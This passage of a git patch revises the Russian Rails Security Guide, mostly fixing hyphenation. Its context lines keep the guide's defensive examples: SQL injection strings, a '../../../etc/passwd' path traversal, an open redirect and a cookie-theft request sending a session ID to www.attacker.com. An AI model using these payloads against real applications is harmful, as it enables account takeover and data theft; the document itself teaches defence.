атак, таких как подделка межсайтовых запросов (CSRF), похищение сессии и фиксация сессии._ -Один из способов - это установить временную метку окончания куки с ID сессии. Однако клиент может редактировать куки, хранящиеся в веб браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как _окончить сессии в таблице базы данных_. Вызовите `Session.sweep("20m")` чтобы окончить сессии, которые использовались более 20 минут назад. +Один из способов - это установить временную метку окончания куки с ID сессии. Однако клиент может редактировать куки, хранящиеся в веб-браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как _окончить сессии в таблице базы данных_. Вызовите `Session.sweep("20m")` чтобы окончить сессии, которые использовались более 20 минут назад. ```ruby class Session < ApplicationRecord @@ -176,7 +176,7 @@ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR (cross-site-request-forgery-csrf) Подделка межсайтовых запросов (CSRF, Cross-Site Request Forgery) ---------------------------------------------------------------------- -Этот метод атаки работает через включение вредоносного кода или ссылки на страницу, которая обращается к веб приложению, на котором предполагается, что пользователь аутентифицирован. Если сессия для того веб приложения не истекла, злоумышленник сможет выполнить несанкционированные команды. +Этот метод атаки работает через включение вредоносного кода или ссылки на страницу, которая обращается к веб-приложению, на котором предполагается, что пользователь аутентифицирован. Если сессия для того веб-приложения не истекла, злоумышленник сможет выполнить несанкционированные команды. ![csrf](/images/csrf.png) @@ -185,10 +185,10 @@ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR * Bob просматривает доску объявлений и смотрит публикацию от хакера, в котором имеется созданный HTML элемент изображения. Элемент ссылается на команду в приложении Bob-а по управлению проектами, а не на файл изображения: `` * Сессия Bob-а на `www.webapp.com` все еще действующая, так как он работал с сайтом несколько минут назад. * Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображение с сайта `www.webapp.com`. Как уже объяснялось, он также посылает куки с валидным ID сессии. -* Веб приложение `www.webapp.com` подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение. +* Веб-приложение `www.webapp.com` подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение. * Bob не уведомляется об атаке - но несколько дней спустя он обнаруживает, что проекта номер один больше нет. -Важно отметить, что фактически создаваемое изображение или ссылка не обязательно должны быть расположены в домене веб приложения, они могут быть где угодно – на форуме, в публикации блога или в email. +Важно отметить, что фактически создаваемое изображение или ссылка не обязательно должны быть расположены в домене веб-приложения, они могут быть где угодно – на форуме, в публикации блога или в email. CSRF очень редко появляется среди CVE (распространённых уязвимостей и опасностей) - менее 0.1% в 2006 - но на самом деле это "спящий гигант". Это значительно контрастирует с результатами множества работ по безопасности - _CSRF является важным вопросом безопасности_. @@ -241,7 +241,7 @@ protect_from_forgery with: :exception Это автоматически включает токен безопасности во все формы и запросы Ajax, генерируемые Rails. Если токен безопасности не будет соответствовать ожидаемому, будет вызвано исключение. -NOTE: По умолчанию, Rails включает [ненавязчивый скриптовый адаптер](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts), который добавляет заголовок, называемый `X-CSRF-Token` с токеном безопасности, в каждый не-GET Ajax запрос. Без этого заголовка не-GET Ajax запросы не будут приняты Rails. При использовании другой библиотеки для Ajax запросов, необходимо добавить токен безопасности как заголовок по умолчанию в Ajax запросах в вашей библиотеке. Для получения токен, посмотрите на тег ``, получаемый с помощью `<%= csrf_meta_tags %>` во вьюхах вашего приложения. +NOTE: По умолчанию, Rails включает [ненавязчивый скриптовый адаптер](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts), который добавляет заголовок, называемый `X-CSRF-Token` с токеном безопасности, в каждый не-GET Ajax запрос. Без этого заголовка не-GET Ajax запросы не будут приняты Rails. При использовании другой библиотеки для Ajax запросов, необходимо добавить токен безопасности как заголовок по умолчанию в Ajax запросах в вашей библиотеке. Для получения токена, посмотрите на тег ``, получаемый с помощью `<%= csrf_meta_tags %>` во вьюхах вашего приложения. Является обычной практикой использование постоянных куки для хранения пользовательской информации, к примеру с помощью `cookies.permanent`. В этом случае куки не будут очищены и встроенная защита от CSRF не будет эффективна. Если для этой информации вы используете хранилище куки иное, чем сессия, то должны указать, что делать, самостоятельно: @@ -258,13 +258,13 @@ end Перенаправление и файлы ----------------------- -Другой класс уязвимостей в безопасности связан с использованием перенаправления и файлов в веб приложениях. +Другой класс уязвимостей в безопасности связан с использованием перенаправления и файлов в веб-приложениях. ### Перенаправление -WARNING: _Перенаправление в веб приложении - это недооцененный инструмент взломщика: на сайт-ловушку может направить пользователя не только злоумышленник, но и сам пользователь._ +WARNING: _Перенаправление в веб-приложении - это недооцененный инструмент взломщика: на сайт-ловушку может направить пользователя не только злоумышленник, но и сам пользователь._ -Всякий раз когда пользователь допускается к передаче (всего или части) URL для перенаправления, это является возможной уязвимостью. Наиболее банальной атакой может быть перенаправление пользователей на фальшивое веб приложение, которое выглядит и работает как настоящее. Эта так называемая фишинг атака работает через посланную не вызывающую подозрения ссылку в email для пользователей, вставленную в приложение ссылку с помощью XSS или ссылку, помещенную на внешнем сайте. Она не вызывает подозрений, так как ссылка начинается с URL к веб приложению, а URL к злонамеренному сайту скрыт в параметре перенаправления: http://www.example.com/site/redirect?to=www.attacker.com. Вот пример экшна legacy: +Всякий раз когда пользователь допускается к передаче (всего или части) URL для перенаправления, это является возможной уязвимостью. Наиболее банальной атакой может быть перенаправление пользователей на фальшивое веб-приложение, которое выглядит и работает как настоящее. Эта так называемая фишинг атака работает через посланную не вызывающую подозрения ссылку в email для пользователей, вставленную в приложение ссылку с помощью XSS или ссылку, помещенную на внешнем сайте. Она не вызывает подозрений, так как ссылка начинается с URL к веб-приложению, а URL к злонамеренному сайту скрыт в параметре перенаправления: http://www.example.com/site/redirect?to=www.attacker.com. Вот пример экшна legacy: ```ruby def legacy @@ -292,9 +292,9 @@ http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com NOTE: _Убедитесь, что загрузки файлов не перезапишут важные файлы и обрабатывают медиа файлы асинхронно._ -Многие веб приложения позволяют пользователям загружать файлы. _Имена файла, которые пользователи могут выбирать (частично), всегда должны фильтроваться_, так как злоумышленник может использовать злонамеренное имя файла для перезаписи любого файла на сервере. Если загруженные файлы хранятся в /var/www/uploads, и пользователь введет имя файла такое как “../../../etc/passwd”, это сможет перезаписать важный файл. Конечно, интерпретатору Ruby будут требоваться необходимые разрешения, чтобы сделать это – еще одна причина запускать веб-серверы, серверы базы данных и другие программы под наименее привилегированным пользователем Unix. +Многие веб-приложения позволяют пользователям загружать файлы. _Имена файла, которые пользователи могут выбирать (частично), всегда должны фильтроваться_, так как злоумышленник может использовать злонамеренное имя файла для перезаписи любого файла на сервере. Если загруженные файлы хранятся в /var/www/uploads, и пользователь введет имя файла такое как “../../../etc/passwd”, это сможет перезаписать важный файл. Конечно, интерпретатору Ruby будут требоваться необходимые разрешения, чтобы сделать это – еще одна причина запускать веб-серверы, серверы базы данных и другие программы под наименее привилегированным пользователем Unix. -Когда фильтруете имена файлов, введенных пользователем, _не пытайтесь убрать злонамеренные части_. Подумайте о ситуации, когда веб приложение убирает все “../” в имени файла, и злоумышленник использует строку, такую как “....//”, результатом будет “../”. Лучше использовать подход белого списка, который _проверяет на валидность имя файла с помощью набора приемлемых символов_. Это противопоставляется подходу черного списка, который пытается убрать недопустимые символы. В случае невалидного имени файла отвергните его (или замените неприемлемые символы), но не убирайте их. Вот санитайзер имени файла из [плагина attachment_fu](http://github.com/technoweenie/attachment_fu/tree/master): +Когда фильтруете имена файлов, введенных пользователем, _не пытайтесь убрать злонамеренные части_. Подумайте о ситуации, когда веб-приложение убирает все “../” в имени файла, и злоумышленник использует строку, такую как “....//”, результатом будет “../”. Лучше использовать подход белого списка, который _проверяет на валидность имя файла с помощью набора приемлемых символов_. Это противопоставляется подходу черного списка, который пытается убрать недопустимые символы. В случае невалидного имени файла отвергните его (или замените неприемлемые символы), но не убирайте их. Вот санитайзер имени файла из [плагина attachment_fu](http://github.com/technoweenie/attachment_fu/tree/master): ```ruby def sanitize_filename(filename) @@ -317,7 +317,7 @@ end WARNING: _Исходный код в загруженных файлах может быть исполнен при помещении в определенные директории. Не помещайте загрузки файла в директорию Rails /public, если это домашняя директория Apache._ -Популярный веб-сервер Apache имеет опцию, называемую DocumentRoot. Это домашняя директория веб сайта, все в дереве этой директории будет обслуживаться веб-сервером. Если там имеются файлы с определенным расширением имени, код в в них будет выполнен при запросе (может требоваться установка некоторых опций). Примерами этого являются файлы PHP и CGI. Теперь представьте ситуацию, когда злоумышленник загружает файл “file.cgi” с кодом, который будет запущен, когда кто-то скачивает файл. +Популярный веб-сервер Apache имеет опцию, называемую DocumentRoot. Это домашняя директория веб-сайта, все в дереве этой директории будет обслуживаться веб-сервером. Если там имеются файлы с определенным расширением имени, код в в них будет выполнен при запросе (может требоваться установка некоторых опций). Примерами этого являются файлы PHP и CGI. Теперь представьте ситуацию, когда злоумышленник загружает файл “file.cgi” с кодом, который будет запущен, когда кто-то скачивает файл. _Если Apache DocumentRoot указывает на директорию Rails /public, не помещайте загрузки файлов в него_, храните файлы как минимум на один уровень ниже. @@ -362,7 +362,7 @@ send_file filename, disposition: 'inline' Другой пример изменял адрес почты и пароль Google Adsense. Если жертва входила в Google Adsense, административный интерфейс рекламных компаний Google, злоумышленник изменял ее полномочия. -Другой популярной атакой является спам от вашего веб приложения, вашего блога или форума для распространения зловредного XSS. Конечно, злоумышленник должен знать структуру URL, но большинство URL Rails достаточно просты или они могут быть легко найдены, если это административный интерфейс приложения с открытым кодом. Злоумышленник даже может сделать 1,000 попыток, просто включив злонамеренный тег IMG, который пытается использовать каждую возможную комбинацию. +Другой популярной атакой является спам от вашего веб-приложения, вашего блога или форума для распространения зловредного XSS. Конечно, злоумышленник должен знать структуру URL, но большинство URL Rails достаточно просты или они могут быть легко найдены, если это административный интерфейс приложения с открытым кодом. Злоумышленник даже может сделать 1,000 попыток, просто включив злонамеренный тег IMG, который пытается использовать каждую возможную комбинацию. По _контрмерам против CSRF в административных интерфейсах и приложениях Интранет, обратитесь к разделу по CSRF_. @@ -379,7 +379,7 @@ send_file filename, disposition: 'inline' Управление пользователями ------------------------- -NOTE: _Почти каждое веб приложение работает с авторизацией и аутентификацией. Вместо написания собственных, целесообразно использование внешних плагинов. Но их нужно также обновлять. Несколько дополнительных мер предосторожности сделают ваше приложение более безопасным._ +NOTE: _Почти каждое веб-приложение работает с авторизацией и аутентификацией. Вместо написания собственных, целесообразно использование внешних плагинов. Но их нужно также обновлять. Несколько дополнительных мер предосторожности сделают ваше приложение более безопасным._ Для Rails имеется ряд плагинов для аутентификации. Хорошие, такие как популярные [devise](https://github.com/plataformatec/devise) и [authlogic](https://github.com/binarylogic/authlogic), сохраняют пароли только зашифрованными, а не чистым текстом. В Rails 3.1 можно использовать встроенный метод `has_secure_password`, имеющий похожие возможности. @@ -412,17 +412,17 @@ NOTE: _Брутфорс-атаки на аккаунты - это атаки м Поэтому большинство приложений отображают общее сообщение об ошибке "неправильное имя пользователя или пароль", если даже одно из них не правильное. Если оно сообщит "имя пользователя, которое вы ввели, не найдено", злоумышленник сможет автоматически собрать перечень имен пользователя. -Однако часто разработчики веб приложения пренебрегают страницами восстановления пароля. Эти страницы часто признают, что введенное имя пользователя или адрес e-mail (не) был найден. Это позволяет злоумышленнику собирать перечень имен пользователей и брутфорсить аккаунты. +Однако часто разработчики веб-приложения пренебрегают страницами восстановления пароля. Эти страницы часто признают, что введенное имя пользователя или адрес e-mail (не) был найден. Это позволяет злоумышленнику собирать перечень имен пользователей и брутфорсить аккаунты. В целях смягчения таких атак, _отображайте общее сообщение об ошибке и на страницах восстановления пароля_. Более того, можете _требовать ввести CAPTCHA после нескольких проваленных попыток входа с одного адреса IP_. Отметим, что это не пуленепробиваемая защита против автоматических программ, поскольку эти программы могут изменять свой адрес IP так часто, как нужно. Однако это будет барьером для атаки. ### Взлом аккаунта -Многие веб приложения позволяют легко взломать пользовательские аккаунты. Почему бы не отличиться и не сделать это более трудным? +Многие веб-приложения позволяют легко взломать пользовательские аккаунты. Почему бы не отличиться и не сделать это более трудным? #### Пароли -Подумайте о ситуации, когда злоумышленник украл куки сессии пользователя и, таким образом, может совместно с ним использовать приложение. Если будет просто сменить пароль, злоумышленник взломает аккаунт в два щелчка. Или, если форма изменения пароля уязвима для CSRF, злоумышленник сможет изменить пароль жертвы, заманив его на веб страницу, на которой содержится тег IMG, осуществляющий CSRF. Как контрмера - _делайте формы изменения пароля безопасными против CSRF_, естественно. И _требуйте от пользователя ввести старый пароль при его изменении_. +Подумайте о ситуации, когда злоумышленник украл куки сессии пользователя и, таким образом, может совместно с ним использовать приложение. Если будет просто сменить пароль, злоумышленник взломает аккаунт в два щелчка. Или, если форма изменения пароля уязвима для CSRF, злоумышленник сможет изменить пароль жертвы, заманив его на веб-страницу, на которой содержится тег IMG, осуществляющий CSRF. Как контрмера - _делайте формы изменения пароля безопасными против CSRF_, естественно. И _требуйте от пользователя ввести старый пароль при его изменении_. #### E-Mail @@ -430,7 +430,7 @@ NOTE: _Брутфорс-атаки на аккаунты - это атаки м #### Другое -В зависимости от вашего веб приложения, могут быть другие способы взломать аккаунт пользователя. Во многих случаях CSRF и XSS способствуют этому. Как пример, уязвимость CSRF в [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). В этой прототипной атаке жертва могла быть заманена на сайт злоумышленника. На этом сайте создавался тег IMG, который приводил к HTTP запросу GET, который изменял настройки фильтра Google Mail. Если жертва была авторизована на Google Mail, злоумышленник могу изменить фильтры для перенаправления всех писем на его e-mail. Это почти так же вредно, как и полный взлом аккаунта. Как контрмера, _пересмотрите логику своего приложения и устраните все уязвимости XSS и CSRF_. +В зависимости от вашего веб-приложения, могут быть другие способы взломать аккаунт пользователя. Во многих случаях CSRF и XSS способствуют этому. Как пример, уязвимость CSRF в [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). В этой прототипной атаке жертва могла быть заманена на сайт злоумышленника. На этом сайте создавался тег IMG, который приводил к HTTP запросу GET, который изменял настройки фильтра Google Mail. Если жертва была авторизована на Google Mail, злоумышленник могу изменить фильтры для перенаправления всех писем на его e-mail. Это почти так же вредно, как и полный взлом аккаунта. Как контрмера, _пересмотрите логику своего приложения и устраните все уязвимости XSS и CSRF_. ### CAPTCHA @@ -465,7 +465,7 @@ INFO: _CAPTCHA - это тест вызова-ответа для определ WARNING: _Скажите Rails не помещать пароли в файлы логов._ -По умолчанию Rails логирует все запросы, сделанные к веб приложению. Но файлы логов могут быть большим вопросом безопасности, поскольку они могут содержать личные данные логина, номера кредитных карт и так далее. При разработке концепции безопасности веб приложения также необходимо думать о том, что случится, если злоумышленник получит (полный) доступ к веб-серверу. Шифрование секретных данных и паролей будут совершенно бесполезным, если файлы лога отображают их чистым текстом. Можете _фильтровать некоторые параметры запроса в ваших файлах лога_, присоединив их к `config.filter_parameters` в конфигурации приложения. Эти параметры будут помечены [FILTERED] в логе. +По умолчанию Rails логирует все запросы, сделанные к веб-приложению. Но файлы логов могут быть большим вопросом безопасности, поскольку они могут содержать личные данные логина, номера кредитных карт и так далее. При разработке концепции безопасности веб-приложения также необходимо думать о том, что случится, если злоумышленник получит (полный) доступ к веб-серверу. Шифрование секретных данных и паролей будут совершенно бесполезным, если файлы лога отображают их чистым текстом. Можете _фильтровать некоторые параметры запроса в ваших файлах лога_, присоединив их к `config.filter_parameters` в конфигурации приложения. Эти параметры будут помечены [FILTERED] в логе. ```ruby config.filter_parameters << :password @@ -542,14 +542,14 @@ WARNING: _Изменение единственного параметра мо @project = @current_user.projects.find(params[:id]) ``` -В зависимости от вашего веб приложения, может быть много параметров, в которые может вмешиваться пользователь. Как правило, _не вводимые пользователем данные безопасны, пока не доказано обратное, и каждый параметр от пользователя потенциально подтасован_. +В зависимости от вашего веб-приложения, может быть много параметров, в которые может вмешиваться пользователь. Как правило, _не вводимые пользователем данные безопасны, пока не доказано обратное, и каждый параметр от пользователя потенциально подтасован_. Не заблуждайтесь о безопасности при обфускации и безопасности JavaScript. Инструменты разработчика позволяют вам предварительно смотреть и изменять все скрытые поля формы. _JavaScript может использоваться для проверки пользовательских данных, но только не для предотвращения злоумышленников от отсылки злонамеренных запросов с неожидаемыми значениями_. Плагин Firebug для Mozilla Firefox логирует каждый запрос и может повторить и изменить его. Это простой способ обойти любые валидации JavaScript. А еще есть даже прокси на стороне клиента, которые позволяют перехватывать любой запрос и отклик из Интернет. Инъекции -------- -INFO: _Инъекции - это класс атак, внедряющий злонамеренный код или параметры в веб приложение для запуска их вне контекста безопасности. Известными примерами инъекций являются межсайтовый скриптинг (XSS) и SQL инъекции._ +INFO: _Инъекции - это класс атак, внедряющий злонамеренный код или параметры в веб-приложение для запуска их вне контекста безопасности. Известными примерами инъекций являются межсайтовый скриптинг (XSS) и SQL инъекции._ Инъекции очень запутанные, поскольку тот же код или параметр может быть злонамеренным в одном контексте, но абсолютно безвредным в другом. Контекстом может быть сценарий, запрос или язык программирования, оболочка или метод Ruby/Rails. Следующие разделы раскроют все важные контексты, где могут произойти атаки в форме инъекций. Первый раздел, однако, раскроет архитектурное решение в связи с инъекцией. @@ -569,7 +569,7 @@ NOTE: _При экранировании, защите или верификац ### SQL инъекции -INFO: _Благодаря умным методам, это вряд ли является проблемой в большинстве приложений на Rails. Однако, это очень разрушительная и обычная атака на веб приложения, поэтому важно понять проблему._ +INFO: _Благодаря умным методам, это вряд ли является проблемой в большинстве приложений на Rails. Однако, это очень разрушительная и обычная атака на веб-приложения, поэтому важно понять проблему._ #### Введение @@ -589,7 +589,7 @@ SELECT * FROM projects WHERE name = '' OR 1 --' #### Обход авторизации -Обычно веб приложения включают контроль доступа. Пользователь вводит свои полномочия входа, веб приложение пытается найти соответствующую запись в таблице пользователей. Приложение предоставляет доступ, когда находит запись. Однако, злоумышленник возможно сможет обойти эту проверку с помощью SQL инъекции. Следующее показывает типичный запрос к базе данных в Rails для поиска первой записи в таблице `users`, которая соответствует параметрам полномочий входа, предоставленных пользователем. +Обычно веб-приложения включают контроль доступа. Пользователь вводит свои полномочия входа, веб-приложение пытается найти соответствующую запись в таблице пользователей. Приложение предоставляет доступ, когда находит запись. Однако, злоумышленник возможно сможет обойти эту проверку с помощью SQL инъекции. Следующее показывает типичный запрос к базе данных в Rails для поиска первой записи в таблице `users`, которая соответствует параметрам полномочий входа, предоставленных пользователем. ```ruby User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -626,7 +626,7 @@ SELECT * FROM projects WHERE (name = '') UNION Результатом будет не список проектов (поскольку нет проектов с пустым именем), а список имен пользователя и их пароли. Поэтому надеемся, что вы шифруете пароли в базе данных! Единственной проблемой для злоумышленника может быть то, что число столбцов должно быть равное в обоих запросах. Вот почему второй запрос включает список единичек (1), который всегда будет иметь значение 1, чтобы количество столбцов соответствовало первому запросу. -Также второй запрос переименовывает некоторые столбцы выражением AS, чтобы веб приложение отображало значения из таблицы `users`. Убедитесь, что обновили свой Rails [как минимум до 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/). +Также второй запрос переименовывает некоторые столбцы выражением AS, чтобы веб-приложение отображало значения из таблицы `users`. Убедитесь, что обновили свой Rails [как минимум до 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/). #### Контрмеры @@ -648,17 +648,17 @@ Model.where(login: entered_user_name, password: entered_password).first ### (cross-site-scripting-xss) Межсайтовый скриптинг (XSS) -INFO: _Наиболее распространенная и одна из наиболее разрушительных уязвимостей в веб приложениях - это XSS. Данная вредоносная атака внедряет на стороне клиента исполняемый код. Rails предоставляет методы для защиты от этих атак._ +INFO: _Наиболее распространенная и одна из наиболее разрушительных уязвимостей в веб-приложениях - это XSS. Данная вредоносная атака внедряет на стороне клиента исполняемый код. Rails предоставляет методы для защиты от этих атак._ #### Точки входа Точка входа - это уязвимый URL и его параметры, с которых злоумышленник может начать атаку. -Наиболее распространенными точками входа являются публикации сообщений, комментарии пользователей и гостевые книги, но заголовки проектов, имена документов и страницы результата поиска также бывают уязвимы - почти везде, где пользователь может ввести данные. Но ввод не обязательно может прийти из полей ввода на веб сайтах, это может быть любой параметр URL – очевидный, скрытый или внутренний. Помните, что пользователь может перехватить любой трафик. Приложения или клиентские прокси могут легко изменить запросы. Также имеются иные направления атак, такие как баннерная реклама. +Наиболее распространенными точками входа являются публикации сообщений, комментарии пользователей и гостевые книги, но заголовки проектов, имена документов и страницы результата поиска также бывают уязвимы - почти везде, где пользователь может ввести данные. Но ввод не обязательно может прийти из полей ввода на веб-сайтах, это может быть любой параметр URL – очевидный, скрытый или внутренний. Помните, что пользователь может перехватить любой трафик. Приложения или клиентские прокси могут легко изменить запросы. Также имеются иные направления атак, такие как баннерная реклама. -Атаки XSS работают подобным образом: злоумышленник встраивает некоторый код, веб приложение сохраняет его и отображает на странице, после чего представляет его жертве. Большинство примеров XSS просто отображают сообщение, но реальные возможности гораздо мощнее. XSS может своровать куки, похитить сессию, перенаправить жертву на фальшивый веб-сайт, отобразить рекламу, полезную злоумышленнику, изменить элементы на веб странице, чтобы получить конфиденциальную информацию или установить вредоносное программное обеспечение, используя дыры в веб браузере. +Атаки XSS работают подобным образом: злоумышленник встраивает некоторый код, веб-приложение сохраняет его и отображает на странице, после чего представляет его жертве. Большинство примеров XSS просто отображают сообщение, но реальные возможности гораздо мощнее. XSS может своровать куки, похитить сессию, перенаправить жертву на фальшивый веб-сайт, отобразить рекламу, полезную злоумышленнику, изменить элементы на веб-странице, чтобы получить конфиденциальную информацию или установить вредоносное программное обеспечение, используя дыры в веб-браузере. -Во второй половине 2007 года выявлено 88 уязвимостей в браузерах Mozilla, 22 в Safari, 18 в IE и 12 в Opera. [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) также задокументировал 239 уязвимостей плагинов для браузеров в последние шесть месяцев 2007 года. [Mpack](http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx) очень активный и регулярно обновляемый фреймворк злоумышленников, который использует эти уязвимости. Для преступных хакеров очень привлекательно использовать уязвимость к SQL-инъекциям в фреймворке веб приложения и вставлять вредоносный код в каждый текстовый столбец таблицы. В апреле 2008 года более 510,000 сайтов были взломаны подобным образом, в том числе Британского правительства, ООН и многих других высокопоставленных организаций. +Во второй половине 2007 года выявлено 88 уязвимостей в браузерах Mozilla, 22 в Safari, 18 в IE и 12 в Opera. [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) также задокументировал 239 уязвимостей плагинов для браузеров в последние шесть месяцев 2007 года. [Mpack](http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx) очень активный и регулярно обновляемый фреймворк злоумышленников, который использует эти уязвимости. Для преступных хакеров очень привлекательно использовать уязвимость к SQL-инъекциям в фреймворке веб-приложения и вставлять вредоносный код в каждый текстовый столбец таблицы. В апреле 2008 года более 510,000 сайтов были взломаны подобным образом, в том числе Британского правительства, ООН и многих других высокопоставленных организаций. #### HTML/JavaScript инъекции @@ -679,7 +679,7 @@ INFO: _Наиболее распространенная и одна из наи ##### Похищение куки -Пока эти примеры не делали никакого вреда, поэтому давайте посмотрим, как злоумышленник может похитить куки пользователя (и, таким образом, похитить пользовательскую сессию). В JavaScript можно использовать свойство document.cookie для чтения и записи куки документа. JavaScript обеспечивает политику ограничения домена, которая означает, что скрипт с одного домена не может получить доступ к куки другого домена. Свойство document.cookie содержит куки создавшего веб-сервера. Однако это свойство можно прочитать и записать, если внедрите код непосредственно в документ HTML (как это происходит в XSS). Введите это где-нибудь в своем веб приложении, чтобы увидеть собственные куки на результирующей странице: +Пока эти примеры не делали никакого вреда, поэтому давайте посмотрим, как злоумышленник может похитить куки пользователя (и, таким образом, похитить пользовательскую сессию). В JavaScript можно использовать свойство document.cookie для чтения и записи куки документа. JavaScript обеспечивает политику ограничения домена, которая означает, что скрипт с одного домена не может получить доступ к куки другого домена. Свойство document.cookie содержит куки создавшего веб-сервера. Однако это свойство можно прочитать и записать, если внедрите код непосредственно в документ HTML (как это происходит в XSS). Введите это где-нибудь в своем веб-приложении, чтобы увидеть собственные куки на результирующей странице: ``` @@ -701,15 +701,15 @@ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ##### Искажение -Исказив веб страницу, злоумышленник сможет сделать многое, например, предоставить ложную информацию или завлечь жертву на сайт злоумышленника, чтобы украсть куки, регистрационные данные или другую деликатную информацию. Наиболее популярным способом является включение кода с внешних источников с помощью iframe: +Исказив веб-страницу, злоумышленник сможет сделать многое, например, предоставить ложную информацию или завлечь жертву на сайт злоумышленника, чтобы украсть куки, регистрационные данные или другую деликатную информацию. Наиболее популярным способом является включение кода с внешних источников с помощью iframe: ```html ``` -Это загрузит произвольный HTML и/или JavaScript с внешнего источника и внедрит его, как часть сайта. Этот iframe взят из настоящей атаки на правительственные итальянские сайты с использованием [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack пытается установить злонамеренное программное обеспечение через дыры безопасности в веб браузере – очень успешно, 50% атак успешны. +Это загрузит произвольный HTML и/или JavaScript с внешнего источника и внедрит его, как часть сайта. Этот iframe взят из настоящей атаки на правительственные итальянские сайты с использованием [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack пытается установить злонамеренное программное обеспечение через дыры безопасности в веб-браузере – очень успешно, 50% атак успешны. -Более специализированные атаки могут накрывать целые веб сайты или отображать форму входа, которая выглядит как такая же на оригинальном сайте, но передает имя пользователя и пароль на сайт злоумышленников. Или могут использовать CSS и/или JavaScript, чтобы спрятать настоящую ссылку в веб приложении, и отобразить на ее месте другую, которая перенаправит на фальшивый веб сайт. +Более специализированные атаки могут накрывать целые веб-сайты или отображать форму входа, которая выглядит как такая же на оригинальном сайте, но передает имя пользователя и пароль на сайт злоумышленников. Или могут использовать CSS и/или JavaScript, чтобы спрятать настоящую ссылку в веб-приложении, и отобразить на ее месте другую, которая перенаправит на фальшивый веб-сайт. Атаки в форме искажающих инъекций являются такими, что основная загрузка не хранится, а предоставляется жертве позже, но включена в URL. Особенно в формах поиска не получается экранировать строку поиска. Следующая ссылка представляет страницу, озаглавленную "George Bush appointed a 9 year old boy to be the chairperson...": @@ -720,7 +720,7 @@ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode ##### Контрмеры -_Очень важно отфильтровывать злонамеренный ввод, но также важно экранировать вывод в веб приложении_. +_Очень важно отфильтровывать злонамеренный ввод, но также важно экранировать вывод в веб-приложении_. Особенно для XSS, важно делать _фильтрацию ввода с помощью белого списка, а не черного_. Фильтрация белым списком устанавливает допустимые значения, остальные значения недопустимы. Черные списки всегда не законченные. @@ -743,7 +743,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) ##### Обфусцированная и закодированная инъекция -Сетевой трафик главным образом основан на ограниченном Западном алфавите, поэтому новые кодировки символов, такие как Unicode, возникли для передачи символов на других языках. Но это также угроза для веб приложений, так как злонамеренный код может быть спрятан в различных кодировках, так что веб браузер сможет его выполнить, а веб приложение нет. Вот направление атаки в кодировке UTF-8: +Сетевой трафик главным образом основан на ограниченном Западном алфавите, поэтому новые кодировки символов, такие как Unicode, возникли для передачи символов на других языках. Но это также угроза для веб-приложений, так как злонамеренный код может быть спрятан в различных кодировках, так что веб-браузер сможет его выполнить, а веб-приложение нет. Вот направление атаки в кодировке UTF-8: ```html ``` -2. Использовать существующий `secret_key_base` из инициализатора `secret_token.rb`, чтобы установить переменную среды SECRET_KEY_BASE для всех пользователей, под которыми запускается приложение Rails в среде production. Альтернативно, можно просто скопировать существующий `secret_key_base` из инициализатора `secret_token.rb` в `secrets.yml` в секцию `production`, заменив '<%= ENV["SECRET_KEY_BASE"] %>'. +2. Использовать существующий `secret_key_base` из инициализатора `secret_token.rb`, чтобы установить переменную среды SECRET_KEY_BASE для всех пользователей, под которыми запускается приложение Rails в среде production. Альтернативно, можно просто скопировать существующий `secret_key_base` из инициализатора `secret_token.rb` в `secrets.yml` в разделе `production`, заменив '<%= ENV["SECRET_KEY_BASE"] %>'. 3. Убрать инициализатор `secret_token.rb`. -4. Использовать `rake secret` для генерации ключей для секций `development` и `test`. +4. Использовать `rake secret` для генерации ключей для раздела `development` и `test`. 5. Перезапустить сервер. From bb39c7c5fa9e369302b9e9366af69975d4b88f05 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Fri, 29 Sep 2017 16:09:13 +0300 Subject: [PATCH 338/932] Fix translate for line --- source/3_2_release_notes.md | 4 +- source/5_0_release_notes.md | 4 +- source/action_controller_overview.md | 2 +- source/active_job_basics.md | 2 +- source/active_record_callbacks.md | 4 +- source/active_record_validations.md | 2 +- source/asset_pipeline.md | 14 +++--- source/caching_with_rails.md | 4 +- source/command_line.md | 6 +-- source/configuring.md | 6 +-- source/contributing_to_ruby_on_rails.md | 2 +- source/debugging_rails_applications.md | 10 ++-- source/engines.md | 56 +++++++++++----------- source/form_helpers.md | 4 +- source/getting_started.md | 12 ++--- source/layouts_and_rendering.md | 2 +- source/rails_application_templates.md | 4 +- source/routing.md | 6 +-- source/security.md | 22 ++++----- source/testing.md | 16 +++---- source/upgrading_ruby_on_rails.md | 2 +- source/working_with_javascript_in_rails.md | 2 +- 22 files changed, 93 insertions(+), 93 deletions(-) diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index 